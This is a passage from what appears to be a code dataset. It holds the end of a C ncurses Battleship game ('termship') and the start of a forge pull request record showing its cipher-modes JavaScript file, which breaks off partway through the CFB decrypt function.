14+BOARD_SIZE; \n  starty = (LINES - height) / 2;  \n  startx = (COLS - width) / 2;   \n\n  int playerx = 3+startx+20;\n  int playery = 2+starty;\n  move(playery,playerx);\n\n  int ch;\n  while((ch = getch())) \n    {\n      switch(ch) \n        {\n    case KEY_LEFT:\n            if (playerx > 3+startx+20) {\n              playerx -=2;\n              player_pos.x--;\n              move(playery, playerx);\n              break;\n            }\n            break;\n        case KEY_RIGHT:\n          if (playerx < -3+startx+20+width) {\n            playerx +=2;\n            player_pos.x++;\n            move(playery, playerx);\n            break; \n          }\n          break;\n        case KEY_UP:\n          if (playery > 2+starty) {\n            --playery;\n            --player_pos.y;\n            move(playery, playerx);\n            break;\n          }\n          break;\n        case KEY_DOWN:\n          if (playery < starty+height-2) {\n            ++playery;\n            ++player_pos.y;\n            move(playery, playerx);\n            break;  \n          }\n        case 10:\n        case KEY_ENTER:\n      if (player_shots[player_pos.x][player_pos.y] == UNTOUCHED) {\n        *x = player_pos.x;\n        *y = player_pos.y;\n        return;\n      } else {\n            move(playery, playerx);\n      }\n          break;\n                \n        }\n    } \n}\n\nvoid display_boards(void)\n{\n  int startx, starty, width, height; \n  int stat_width, stat_height;\n\n  char players_grid[BOARD_SIZE][BOARD_SIZE];\n\n  int f, h = 0;\n  char t;\n  int i;\n  stat_height= 5;\n  stat_width=50;\n\n  keypad(stdscr, TRUE);            \n  height = 3+BOARD_SIZE; \n  width = 14+BOARD_SIZE; \n  starty = (LINES - height) / 2;  \n  startx = (COLS - width) / 2;    \n  clear();\n  refresh(); \n\n  player_win = newwin(height, width, starty, startx+20); \n  box(player_win, 0, 0);\n  wrefresh(player_win);\n\n  opponent_win = newwin(height, width, starty, startx-20);\n  box(opponent_win, 0, 0);\n  wrefresh(opponent_win);\n\n  status_win = newwin(stat_height, stat_width, starty+13, startx-20);\n\n  create_grid(players_grid, Shipset);\n\n  clear();\n  refresh();\n\n  mvprintw(starty-1, startx-15, global_user_name);\n  mvwprintw(opponent_win, 1,1,\"  A B C D E F G H I J\");\n  wattron(opponent_win,COLOR_PAIR(2));\n  mvwprintw(opponent_win, 1, 1, \" \");\n  wattroff(opponent_win,COLOR_PAIR(2));\n\n  for (h = 0; h<BOARD_SIZE; h++) {\n    mvwprintw(opponent_win, 2+h, 1,\"%d|\", h);\n    for (f =0; f<BOARD_SIZE; f++) {\n      t = players_grid[h][f];\n      if (t == '*') {\n        wattron(opponent_win,COLOR_PAIR(2));\n        mvwprintw(opponent_win, 2+h,3+f*2, \"%c\", t);\n        wattroff(opponent_win,COLOR_PAIR(2));\n      } else {\n    mvwprintw(opponent_win, 2+h,3+f*2, \"%c\", t);\n      }\n      mvwprintw(opponent_win, 2+h,4+f*2, \"|\");\n    }\n  }\n  wrefresh(opponent_win);\n\n  mvprintw(starty-1, startx+21, peer_user_name);\n  mvwprintw(player_win,1,1,\"  A B C D E F G H I J\");\n\n  for (i=0;i<BOARD_SIZE;i++) {\n    mvwprintw(player_win,i+2,1,\"%d|_|_|_|_|_|_|_|_|_|_|\",i+0);\n  }\n  refresh();\n  wrefresh(player_win);\n  wrefresh(status_win); \n\n  attroff(A_UNDERLINE);\n\n}\n\n/**\n * This function gets called from within init_game\n * It is called repeatedly if we are the server, else\n * it is just called once.\n */\nvoid do_gameplay(const int sock, int fire)\n{\n  int x,y,res,win_status=0;\n  char msg[100];\n\n  for (int i=0; i<BOARD_SIZE; ++i) {\n    for (int j=0; j<BOARD_SIZE; ++j) {\n      player_shots[i][j] = UNTOUCHED;\n      peer_shots[i][j] = UNTOUCHED;\n    }\n  }\n\n\n  initShips();\n  display_boards();\n\n  Ship sh;\n  do {\n    if (fire == 1) { /*you're the attacker*/\n      mvwprintw(status_win,1,1,\"It's your turn!                    \");\n      wrefresh(status_win);\n            \n      fire = 0;\n      return_cords(&x, &y);\n      res = do_fire(sock, x, y);\n\n\n      place_hit_or_mis(player_win,res, x, y, false);\n      switch (res) {\n      case 0:\n        mvwprintw(status_win,2,1,\"Missed!                                    \");\n        wrefresh(status_win);\n        break;\n      case 1:\n        mvwprintw(status_win,2,1,\"You hit them!                              \");\n        wrefresh(status_win);\n        /* play_boom(\"You hit them!\"); */\n        /* display_boards(); */\n        break;\n      case -1:\n        mvwprintw(status_win,2,1,\"You sunk them!                             \");\n        wrefresh(status_win);\n        /* play_boom(\"You sunk them!\"); */\n        /* display_boards(); */\n        break;\n      case -2:\n        win_status = 1;\n        mvwprintw(status_win,2,1,\"Game over!                        \");\n        wrefresh(status_win);\n        fire = -1;\n        break;\n      }\n\n    } else { /*you're the defender*/\n      keypad(stdscr, FALSE);\n      curs_set(0); // Set cursor invisible\n      mvwprintw(status_win,1,1,\"Waiting for other player to fire...\");\n      wrefresh(status_win);\n      res = do_receive(sock);\n\n\n      refresh();\n      if (res == 0) {\n        //wclear(status_win);\n        mvwprintw(status_win,2,1,\"They missed!                                \");\n        //mvwprintw(status_win,5,1,\"It's your turn!\");\n        wrefresh(status_win);\n      } else if (res < 0) { //negative res indicates sunken ship\n        sh = getShipById(-1*res); /* what a hack... */\n        //wclear(status_win);\n        mvwprintw(status_win,2,1,\"They sunk your %s!               \", sh.name);\n        /* play_boom(\"They sunk you!\"); */\n        /* display_boards(); */\n        //mvwprintw(status_win,5,1,\"It's your turn!\");\n        wrefresh(status_win);\n      } else if (res==100);//do nothing...the game is over\n      else {\n        sh = getShipById(res);\n        //wclear(status_win);\n        mvwprintw(status_win,2,1,\"They hit your %s!                \", sh.name);\n        /* play_boom(\"They hit you!\"); */\n        /* display_boards(); */\n        //mvwprintw(status_win,5,1,\"It's your turn!\");\n        wrefresh(status_win);\n      }\n      mvwprintw(status_win,1,1,\"It's your turn!                               \");\n      fire = (check_game_over() == 1) ? -1 : 1;\n      refresh();\n    }\n  } while(fire > -1);\n\n  sprintf(msg, \"Game over! You %s!\\nPress any key to view battlefields.\", win_status ? \"won\" : \"lost\");\n  show_message_box(msg);\n  getch();\n  exchange_shipsets(sock);\n  show_battlefields();\n}\n\n\nvoid title_screen()\n{\n  char *picture =  \n    \"                                     # #  ( )\\n\"\n    \"                                  ___#_#___|__\\n\"\n    \"                              _  |____________|  _\\n\"\n    \"                       _=====| | |            | | |==== _\\n\"\n    \"                 =====| |.---------------------------. | |====\\n\"\n    \"   <--------------------'   .  .  .  .  .  .  .  .   '--------------/\\n\"\n    \"     \\\\                                                             /\\n\"\n    \"      \\\\_______________________________________________WWS_________/\\n\"\n    \"  wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\\n\"\n    \"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\\n\"\n    \"   wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww\\n\";\n\n  NmsArgs args = INIT_NMSARGS;\n  args.src = picture;\n  nms_exec(&args);\n  clear();\n  //print_picture(stdscr, picture);\n\n  /* int numsquiggles = 8; */\n  /* int numreps = 2; */\n  /* int framespeed = 60000; */\n  /* do a little \"animation\" */\n  /* for (int i=0; i<numreps; ++i) { */\n  /*   /\\* pushing out *\\/ */\n  /*   for (int j=0; j<numsquiggles; ++j) { */\n  /*     char msg[100]; */\n  /*     int s=0; */\n  /*     for (int k=0; k<j+1; ++k) { */\n  /*    msg[s++] = '~'; */\n  /*     } */\n  /*     msg[s++]=' '; */\n  /*     msg[s++]='t'; */\n  /*     msg[s++]='e'; */\n  /*     msg[s++]='r'; */\n  /*     msg[s++]='m'; */\n  /*     msg[s++]='s'; */\n  /*     msg[s++]='h'; */\n  /*     msg[s++]='i'; */\n  /*     msg[s++]='p'; */\n  /*     msg[s++]=' '; */\n  /*     for (int k=0; k<j+1; ++k) { */\n  /*    msg[s++] = '~'; */\n  /*     } */\n  /*     msg[s++] = '\\0'; */\n  /*     show_message_box(msg); */\n  /*     usleep(framespeed); */\n  /*   } */\n  /*   /\\* pulling in *\\/ */\n  /*   for (int j=numsquiggles; j>0; --j) { */\n  /*     char msg[100]; */\n  /*     int s=0; */\n  /*     for (int k=0; k<j+1; ++k) { */\n  /*    msg[s++] = '~'; */\n  /*     } */\n  /*     msg[s++]=' '; */\n  /*     msg[s++]='t'; */\n  /*     msg[s++]='e'; */\n  /*     msg[s++]='r'; */\n  /*     msg[s++]='m'; */\n  /*     msg[s++]='s'; */\n  /*     msg[s++]='h'; */\n  /*     msg[s++]='i'; */\n  /*     msg[s++]='p'; */\n  /*     msg[s++]=' '; */\n  /*     for (int k=0; k<j+1; ++k) { */\n  /*    msg[s++] = '~'; */\n  /*     } */\n  /*     msg[s++] = '\\0'; */\n  /*     show_message_box(msg); */\n  /*     usleep(framespeed); */\n  /*   } */\n  /* } */\n\n\n\n  /* Test an animation: */\n  /* Animation *anim1 = create_animation(\"test1.txt\"); */\n  /* play_animation(anim1, true); */\n  /* Animation *underwater_explosion = create_animation(\"underwater_explosion.txt\"); */\n  /* play_animation(underwater_explosion, true); */\n  /* destroy_animation(underwater_explosion); */\n  Animation *montage = create_animation(\"opener.txt\");\n  play_animation(montage, \"Welcome to termship! (Press any key)\", true, true);\n  destroy_animation(montage);\n\n}\n\nvoid play_boom(char *msg)\n{\n  static Animation *boom = NULL;\n  if (boom == NULL)\n    boom = create_animation(\"boom.txt\");\n\n  char *subtitle = (char *) malloc((sizeof(char)) * (strlen(msg) + strlen(\" (Press any key)\")) + 1 );\n  KINDLY_DIE_IF_NULL(subtitle);\n  strcpy(subtitle, msg);\n  strcat(subtitle, \" (Press any key)\");\n  play_animation(boom, subtitle, true, true);\n  free(subtitle);\n}\n\n\n\n/*** Some utility functions ***/\n\n/* from http://www.linuxdoc.org/HOWTO/NCURSES-Programming-HOWTO/panels.html */\nvoid print_in_middle(WINDOW *win, int starty,\n                     int startx, int width,\n                     char const *const string, chtype color)\n{\n  int length, x, y;\n  float temp;\n\n  if(win == NULL)\n    win = stdscr;\n  getyx(win, y, x);\n  if(startx != 0)\n    x = startx;\n  if(starty != 0)\n    y = starty;\n  if(width == 0)\n    width = 80;\n\n  length = strlen(string);\n  temp = (width - length)/ 2;\n  x = startx + (int)temp;\n  wattron(win, color);\n  mvwprintw(win, y, x, \"%s\", string);\n  wattroff(win, color);\n  refresh();\n}\n\nstatic WINDOW *message_box_win;\nstatic PANEL *message_box_panel;\nstatic int last_message_box_width=0;\nstatic int last_message_box_height=0;\n/**\n * Shows a global message box in the middle of the screen\n */\nvoid show_message_box(char const *const string)\n{\n  show_message_box_win(&message_box_win, &message_box_panel,\n               string, &last_message_box_width, &last_message_box_height);\n}\n\n/**\n * Shows a message box in specific window the middle of the\n * screen. You should make sure you're always passing in the same\n * reference to last_box_width and last_box_height associated with\n * this window.\n */\nvoid show_message_box_win(WINDOW **win, PANEL **pan, char const *const string,\n              int *last_box_width, int *last_box_height)\n{\n  int width;\n  int height = 5;\n  int leftoffset = 1;\n  int largest_line_length = 0, prev_newline_index = 0;\n  char msg[500];\n  (void)msg; /*compiler warnings*/\n\n  /* Count the newlines to determine any extra height we'll need to add */\n  for (int i=0; i<strlen(string)+1; ++i) {\n    if (string[i] == '\\n' || string[i] == '\\0') {\n      largest_line_length = i-prev_newline_index > largest_line_length\n    ? i-prev_newline_index\n    : largest_line_length;\n      prev_newline_index = i;\n      if (string[i] == '\\n')\n    height++;\n      /* sprintf(msg, \"found newline or null at %d. now height is %d largest line is %d\\n\", i, height, largest_line_length); */\n      /* write_to_log(msg); */\n    }\n  }\n  largest_line_length = largest_line_length == 0\n    ? strlen(string)\n    : largest_line_length;\n  /* sprintf(msg, \"At the end, now height is %d largest line is %d\\n\", height, largest_line_length); */\n  /* write_to_log(msg); */\n\n  width = largest_line_length + 6;\n\n\n  /* if there's an existing message box up and this string is a\n     different length than the last one, we need to recompute the\n     width, so we just hide the message box. */\n  if (*last_box_width != width || *last_box_height != height) {\n    sprintf(msg, \"implicit hide of the message box because %d != %d || %d != %d\\n\",\n        *last_box_width, width, *last_box_height, height);\n    write_to_log(msg);\n    hide_message_box_win(win, pan);\n  }\n\n  if (*win == NULL) {\n    *win = newwin(height, width,\n                 (LINES-height)/2,\n                 (COLS-width)/2);\n    sprintf(msg, \"created new win at *win %p\\n\", *win);\n    write_to_log(msg);\n  }\n  if (*pan == NULL) {\n    *pan = new_panel(*win);\n    sprintf(msg, \"created new *pan at %p\\n\", *pan);\n    write_to_log(msg);\n  }\n  wattron(*win, BLUE_ON_BLACK);\n  box(*win, 0, 0);\n  wattroff(*win, BLUE_ON_BLACK);\n  /* border(186, 186, 205, 205, */\n  /*     201, 187, 200, 188); */\n  /* border(ls, rs, chtype ts, chtype bs, */\n  /*     chtype tl, chtype tr, chtype bl, chtype br); */\n\n  int current_y = 1;\n  wattron(*win, WHITE_ON_RED);\n  for (int i=0; i<width-2; ++i)\n    mvwprintw(*win, current_y, i+1, \"-\"); /* fill above the text */\n  current_y++;\n\n\n  /* Now for the printing. We need to split the string on newlines (if\n     any) and print each of those separately */\n  char *our_string = (char *) malloc(strlen(string)+1);\n  KINDLY_DIE_IF_NULL(our_string);\n  strcpy(our_string, string);\n  if (strchr(string, '\\n') != NULL) { /* we have newlines */\n    for (char *next_tok = strtok(our_string, \"\\n\");\n     next_tok != NULL;\n     next_tok = strtok(NULL, \"\\n\")) {\n      wattron(*win, WHITE_ON_RED);\n      mvwhline(*win, current_y, 1, ' ', width-2);\n      print_in_middle(*win, current_y,\n              leftoffset, width-1, next_tok,\n              WHITE_ON_RED);\n      current_y++;\n    }\n  } else {\n    wattron(*win, WHITE_ON_RED);\n    mvwhline(*win, current_y, 1, ' ', width-2);\n    print_in_middle(*win, current_y, leftoffset, width-1, string, WHITE_ON_RED);\n    current_y++;\n  }\n\n  wattron(*win, WHITE_ON_RED);\n  for (int i=0; i<width-2; ++i)\n    mvwprintw(*win, current_y, i+1, \"-\"); /* fill below the text */\n\n  wattroff(*win, WHITE_ON_RED);\n\n  free(our_string);\n\n  top_panel(*pan);\n  update_panels();\n  doupdate();\n\n  *last_box_width = width;\n  *last_box_height = height;\n}\n\n/**\n * Hides the message box\n */\nvoid hide_message_box()\n{\n  hide_message_box_win(&message_box_win, &message_box_panel);\n}\n\n/**\n * Hides a specific message box\n */\nvoid hide_message_box_win(WINDOW **win, PANEL **pan)\n{\n  char msg[500];\n  wclear(*win);\n  if (*pan != NULL) {\n    sprintf(msg, \"deleting *pan at %p\\n\", *pan);\n    write_to_log(msg);\n    del_panel(*pan);\n    *pan = NULL;\n    update_panels();\n  }\n  wrefresh(*win);\n  if (*win != NULL) {\n    sprintf(msg, \"deleting *win at %p\\n\", *win);\n    write_to_log(msg);\n    delwin(*win);\n    *win = NULL;\n    /* doupdate(); */\n  }\n  refresh();\n}\n\n\nint get_picture_width(char *picture[])\n{\n  int maxlen=0;\n  for (int i=0; picture[i]!=NULL; ++i) {\n    int len = strlen(picture[i]);\n    maxlen = len > maxlen ? len : maxlen;\n  }\n  return maxlen;\n}\n\nvoid print_picture(WINDOW *win, char *picture[])\n{\n  /* get width of picture */\n  int picwidth = get_picture_width(picture);\n  int leftoffset = (COLS - picwidth)/2;\n  int topoffset = 2;\n  for (int i=0; picture[i] != NULL; ++i) {\n    mvwprintw(win, topoffset+i, leftoffset, picture[i]);\n  }\n}\n\n/**\n * dest should have enough space (at least len) to hold the string.\n */\nvoid get_text_string_from_centered_panel(char const *const prompt, char *dest, int len)\n{\n  WINDOW *panel_win;\n  PANEL *the_panel;\n  int panel_height=6,panel_width;\n  /* char *dest = malloc(100); */\n\n  int promptlen = strlen(prompt);\n  panel_width = MAX(30, promptlen+5);\n\n  /* Create the window to hold the panel */\n  panel_win = newwin(panel_height,\n                     panel_width,\n                     (LINES-panel_height)/2,\n                     (COLS-panel_width)/2);\n  box(panel_win, 0, 0);\n  print_in_middle(panel_win, 1,\n          0, panel_width,\n          prompt, COLOR_PAIR(6));\n  wattron(panel_win, COLOR_PAIR(5));\n  mvwhline(panel_win, 3, 2, ' ', panel_width-4);\n  curs_set(1); // make cursor visible\n  echo();\n  mvwgetnstr(panel_win, 3, 2, dest, len);\n  noecho();\n  curs_set(0); // make cursor invisible\n  wattroff(panel_win, COLOR_PAIR(5));\n  \n  /* create the panel from our window */\n  the_panel = new_panel(panel_win);\n  top_panel(the_panel);\n  update_panels();\n  doupdate();\n\n  del_panel(the_panel);\n  update_panels();\n  delwin(panel_win);\n  doupdate();\n}\n\n\n/**\n * Constructs and returns a new Animation object. This doesn't load\n * the animation. That will be done at play time or you can call\n * load_animation to do it manually. The animation should be free'd by\n * the user.\n */\nAnimation *create_animation(char *loadFile)\n{\n  Animation *anim = (Animation *)malloc(sizeof(Animation));\n  KINDLY_DIE_IF_NULL(anim);\n  anim->isLoaded = false;\n  anim->loadFile = (char *) malloc(sizeof(char) * MAX_FILE_LEAF_NAME);\n  KINDLY_DIE_IF_NULL(anim->loadFile);\n  strcpy(anim->loadFile, loadFile);\n  return anim;\n}\n\nvoid destroy_animation(Animation *anim)\n{\n  for(int i=0; i < anim->numFrames; ++i) {\n    free(anim->frames[i]);\n  }\n  free(anim->frames);\n  free(anim->loadFile);\n  free(anim);\n}\n\n\n/**\n * Loads up the animation. Make sure you set the `loadFile` attribute\n * of the Animation before calling this function.\n */\nvoid load_animation(Animation *anim)\n{\n  FILE *fp;\n  char msg[500], loadFileFullPath[MAX_FILE_FULL_PATH];\n  char *line, *thisFrame;\n  size_t len=0;\n  ssize_t read;\n\n  sprintf(loadFileFullPath, \"%s/animations/%s\", xstr(TERMSHIP_PATH), anim->loadFile);\n  sprintf(msg, \"Loading animation file from %s...\\n\", loadFileFullPath);\n  write_to_log(msg);\n\n  fp = fopen(loadFileFullPath, \"r\");\n  if (fp == NULL) {\n    cleanup_ncurses();\n    printf(\"couldn't open %s for reading...\\n\", loadFileFullPath);\n    exit(EXIT_FAILURE);\n  }\n\n  /*** read the header lines: ***/\n  /* First is the size (in lines) of each of the frames we're about to\n     read */\n  line = NULL;\n  read = getline(&line, &len, fp);\n  sscanf(line, \"%d\\n\", &(anim->height));\n  free(line);\n  sprintf(msg, \"%s has height %d\\n\", loadFileFullPath,\n      anim->height);\n  write_to_log(msg);\n  /* Next is the total number of frames */\n  line = NULL;\n  read = getline(&line, &len, fp);\n  sscanf(line, \"%d\\n\", &(anim->numFrames));\n  free(line);\n  sprintf(msg, \"%s has %d total frames\\n\", loadFileFullPath, anim->numFrames);\n  write_to_log(msg);\n  /* Next is the desired frame rate: */\n  line = NULL;\n  read = getline(&line, &len, fp);\n  sscanf(line, \"%d\\n\", &(anim->fps));\n  free(line);\n  sprintf(msg, \"%s will run at %d fps\\n\", loadFileFullPath, anim->fps);\n  write_to_log(msg);\n\n  (void)read; /*compiler warnings*/\n\n  /* Allocate space for the animation (the frames, not the actual lines quite yet): */\n  anim->frames = (char **) malloc(sizeof(char *) * anim->numFrames);\n  KINDLY_DIE_IF_NULL(anim->frames);\n  thisFrame = (char *) malloc(sizeof(char) * anim->height * MAX_FRAME_WIDTH);\n  KINDLY_DIE_IF_NULL(thisFrame);\n\n  int max_width = 0;\n  for (int i=0; i < anim->numFrames; ++i) {\n    bool last_char_was_newline = false;\n    int chars_read;\n    for (chars_read=0; ; ++chars_read) {\n      int ch = fgetc(fp);\n      /* sprintf(msg, \"[%d] => %c\\n\", chars_read, (char)ch); */\n      /* write_to_log(msg); */\n      thisFrame[chars_read] = ch;\n      if (ch == '\\n') {\n        /* two newlines in a row. next frame. */\n        if (last_char_was_newline)\n          break;\n        last_char_was_newline = true;\n      } else {\n        last_char_was_newline = false;\n      }\n    }\n    thisFrame[chars_read-1] = '\\0'; /* overwriting the final newline */\n    anim->frames[i] = (char *) malloc((sizeof(char) * chars_read)); /* don't need +1 because we truncated the last newline */\n    KINDLY_DIE_IF_NULL(anim->frames[i]);\n    strcpy(anim->frames[i], thisFrame);\n\n    max_width = MAX(chars_read, max_width);\n\n  } /*eo for each line*/\n\n  free(thisFrame);\n\n  anim->width = max_width;\n\n  anim->isLoaded = true;\n}\n\n/**\n * Plays the specified animation. Loads it if necessary.\n */\nvoid play_animation\n(Animation *anim, char *subtitle, bool press_key_to_continue, bool hold_at_end)\n{\n  static WINDOW *animation_window = NULL;\n  static PANEL  *animation_panel = NULL;\n  static int    anim_width;\n  static int    anim_height;\n  char msg[500];\n  (void)msg;\n  char *hold_message = \"\\n(Press any key to continue)\";\n\n  if (!anim->isLoaded) load_animation(anim);\n\n  anim_width = anim->width;\n  anim_height = anim->height;\n\n  if (subtitle != NULL)\n    anim_height++;\n\n\n\n  for (int i=0; i < anim->numFrames; ++i) {\n    char *theframe = anim->frames[i];\n    if (subtitle != NULL) {\n      theframe = (char *) malloc(strlen(anim->frames[i]) + strlen(subtitle) + 2); /* +2 for extra null and newline */\n      KINDLY_DIE_IF_NULL(theframe);\n      strcpy(theframe, anim->frames[i]);\n      strcat(theframe, \"\\n\");\n      strcat(theframe, subtitle);\n    }\n\n    show_message_box_win(&animation_window, &animation_panel,\n\t\t\t theframe, &anim_width, &anim_height);\n\n    if (subtitle != NULL)\n      free(theframe);\n\n    if (press_key_to_continue) {\n      /* no delay if press_key_to_continue is set: */\n      nodelay(animation_window, true);\n      if (ERR != wgetch(animation_window)) {\n\tnodelay(animation_window, false);\n\treturn;\n      }\n      nodelay(animation_window, false);\n    }\n\n    /* we assume the show_message_box_win takes 0 time */\n    usleep( (1/(float)anim->fps) * 1000000 );\n  }\n\n  if (hold_at_end) {\n    char *hold_frame = (char *) malloc(strlen(anim->frames[anim->numFrames-1]) + strlen(hold_message) + 1);\n    KINDLY_DIE_IF_NULL(hold_frame);\n    strcpy(hold_frame, anim->frames[anim->numFrames-1]);\n    strcat(hold_frame, hold_message);\n    show_message_box_win(&animation_window, &animation_panel,\n             hold_frame, &anim_width, &anim_height);\n    getch();\n    free(hold_frame);\n  }\n\n  hide_message_box_win(&animation_window, &animation_panel);\n}\n\n\nvoid cleanup_ncurses()\n{\n  endwin();         /* end curses mode */\n}\n\nvoid kindly_die(char *msg)\n{\n  cleanup_ncurses();\n  printf(msg);\n  exit(-1);\n}\n"}}
{"repo": "digitalbazaar/forge", "pr_number": 1077, "title": "In CTR mode, support to encrypt/decrypt from the middle of a message", "state": "open", "merged_at": null, "additions": 5, "deletions": 2, "files_changed": ["lib/cipherModes.js"], "files_before": {"lib/cipherModes.js": "/**\n * Supported cipher modes.\n *\n * @author Dave Longley\n *\n * Copyright (c) 2010-2014 Digital Bazaar, Inc.\n */\nvar forge = require('./forge');\nrequire('./util');\n\nforge.cipher = forge.cipher || {};\n\n// supported cipher modes\nvar modes = module.exports = forge.cipher.modes = forge.cipher.modes || {};\n\n/** Electronic codebook (ECB) (Don't use this; it's not secure) **/\n\nmodes.ecb = function(options) {\n  options = options || {};\n  this.name = 'ECB';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = new Array(this._ints);\n  this._outBlock = new Array(this._ints);\n};\n\nmodes.ecb.prototype.start = function(options) {};\n\nmodes.ecb.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  if(input.length() < this.blockSize && !(finish && input.length() > 0)) {\n    return true;\n  }\n\n  // get next block\n  for(var i = 0; i < this._ints; ++i) {\n    this._inBlock[i] = input.getInt32();\n  }\n\n  // encrypt block\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // write output\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._outBlock[i]);\n  }\n};\n\nmodes.ecb.prototype.decrypt = function(input, output, finish) {\n  // not enough input to decrypt\n  if(input.length() < this.blockSize && !(finish && input.length() > 0)) {\n    return true;\n  }\n\n  // get next block\n  for(var i = 0; i < this._ints; ++i) {\n    this._inBlock[i] = input.getInt32();\n  }\n\n  // decrypt block\n  this.cipher.decrypt(this._inBlock, this._outBlock);\n\n  // write output\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._outBlock[i]);\n  }\n};\n\nmodes.ecb.prototype.pad = function(input, options) {\n  // add PKCS#7 padding to block (each pad byte is the\n  // value of the number of pad bytes)\n  var padding = (input.length() === this.blockSize ?\n    this.blockSize : (this.blockSize - input.length()));\n  input.fillWithByte(padding, padding);\n  return true;\n};\n\nmodes.ecb.prototype.unpad = function(output, options) {\n  // check for error: input data not a multiple of blockSize\n  if(options.overflow > 0) {\n    return false;\n  }\n\n  // ensure padding byte count is valid\n  var len = output.length();\n  var count = output.at(len - 1);\n  if(count > (this.blockSize << 2)) {\n    return false;\n  }\n\n  // trim off padding bytes\n  output.truncate(count);\n  return true;\n};\n\n/** Cipher-block Chaining (CBC) **/\n\nmodes.cbc = function(options) {\n  options = options || {};\n  this.name = 'CBC';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = new Array(this._ints);\n  this._outBlock = new Array(this._ints);\n};\n\nmodes.cbc.prototype.start = function(options) {\n  // Note: legacy support for using IV residue (has security flaws)\n  // if IV is null, reuse block from previous processing\n  if(options.iv === null) {\n    // must have a previous block\n    if(!this._prev) {\n      throw new Error('Invalid IV parameter.');\n    }\n    this._iv = this._prev.slice(0);\n  } else if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  } else {\n    // save IV as \"previous\" block\n    this._iv = transformIV(options.iv, this.blockSize);\n    this._prev = this._iv.slice(0);\n  }\n};\n\nmodes.cbc.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  if(input.length() < this.blockSize && !(finish && input.length() > 0)) {\n    return true;\n  }\n\n  // get next block\n  // CBC XOR's IV (or previous block) with plaintext\n  for(var i = 0; i < this._ints; ++i) {\n    this._inBlock[i] = this._prev[i] ^ input.getInt32();\n  }\n\n  // encrypt block\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // write output, save previous block\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._outBlock[i]);\n  }\n  this._prev = this._outBlock;\n};\n\nmodes.cbc.prototype.decrypt = function(input, output, finish) {\n  // not enough input to decrypt\n  if(input.length() < this.blockSize && !(finish && input.length() > 0)) {\n    return true;\n  }\n\n  // get next block\n  for(var i = 0; i < this._ints; ++i) {\n    this._inBlock[i] = input.getInt32();\n  }\n\n  // decrypt block\n  this.cipher.decrypt(this._inBlock, this._outBlock);\n\n  // write output, save previous ciphered block\n  // CBC XOR's IV (or previous block) with ciphertext\n  for(var i = 0; i < this._ints; ++i) {\n    output.putInt32(this._prev[i] ^ this._outBlock[i]);\n  }\n  this._prev = this._inBlock.slice(0);\n};\n\nmodes.cbc.prototype.pad = function(input, options) {\n  // add PKCS#7 padding to block (each pad byte is the\n  // value of the number of pad bytes)\n  var padding = (input.length() === this.blockSize ?\n    this.blockSize : (this.blockSize - input.length()));\n  input.fillWithByte(padding, padding);\n  return true;\n};\n\nmodes.cbc.prototype.unpad = function(output, options) {\n  // check for error: input data not a multiple of blockSize\n  if(options.overflow > 0) {\n    return false;\n  }\n\n  // ensure padding byte count is valid\n  var len = output.length();\n  var count = output.at(len - 1);\n  if(count > (this.blockSize << 2)) {\n    return false;\n  }\n\n  // trim off padding bytes\n  output.truncate(count);\n  return true;\n};\n\n/** Cipher feedback (CFB) **/\n\nmodes.cfb = function(options) {\n  options = options || {};\n  this.name = 'CFB';\n  this.cipher = options.cipher;\n  this.blockSize = options.blockSize || 16;\n  this._ints = this.blockSize / 4;\n  this._inBlock = null;\n  this._outBlock = new Array(this._ints);\n  this._partialBlock = new Array(this._ints);\n  this._partialOutput = forge.util.createBuffer();\n  this._partialBytes = 0;\n};\n\nmodes.cfb.prototype.start = function(options) {\n  if(!('iv' in options)) {\n    throw new Error('Invalid IV parameter.');\n  }\n  // use IV as first input\n  this._iv = transformIV(options.iv, this.blockSize);\n  this._inBlock = this._iv.slice(0);\n  this._partialBytes = 0;\n};\n\nmodes.cfb.prototype.encrypt = function(input, output, finish) {\n  // not enough input to encrypt\n  var inputLength = input.length();\n  if(inputLength === 0) {\n    return true;\n  }\n\n  // encrypt block\n  this.cipher.encrypt(this._inBlock, this._outBlock);\n\n  // handle full block\n  if(this._partialBytes === 0 && inputLength >= this.blockSize) {\n    // XOR input with output, write input as output\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = input.getInt32() ^ this._outBlock[i];\n      output.putInt32(this._inBlock[i]);\n    }\n    return;\n  }\n\n  // handle partial block\n  var partialBytes = (this.blockSize - inputLength) % this.blockSize;\n  if(partialBytes > 0) {\n    partialBytes = this.blockSize - partialBytes;\n  }\n\n  // XOR input with output, write input as partial output\n  this._partialOutput.clear();\n  for(var i = 0; i < this._ints; ++i) {\n    this._partialBlock[i] = input.getInt32() ^ this._outBlock[i];\n    this._partialOutput.putInt32(this._partialBlock[i]);\n  }\n\n  if(partialBytes > 0) {\n    // block still incomplete, restore input buffer\n    input.read -= this.blockSize;\n  } else {\n    // block complete, update input block\n    for(var i = 0; i < this._ints; ++i) {\n      this._inBlock[i] = this._partialBlock[i];\n    }\n  }\n\n  // skip any previous partial bytes\n  if(this._partialBytes > 0) {\n    this._partialOutput.getBytes(this._partialBytes);\n  }\n\n  if(partialBytes > 0 && !finish) {\n    output.putBytes(this._partialOutput.getBytes(\n      partialBytes - this._partialBytes));\n    this._partialBytes = partialBytes;\n    return true;\n  }\n\n  output.putBytes(this._partialOutput.getBytes(\n    inputLength - this._partialBytes));\n  this._partialBytes = 0;\n};\n\nmodes.cfb.prototype.decrypt = function(input, output, finish) {\n  // not enough input to decrypt\n  var inputLength = input.length();\n  if(inputLength === 0) {\n    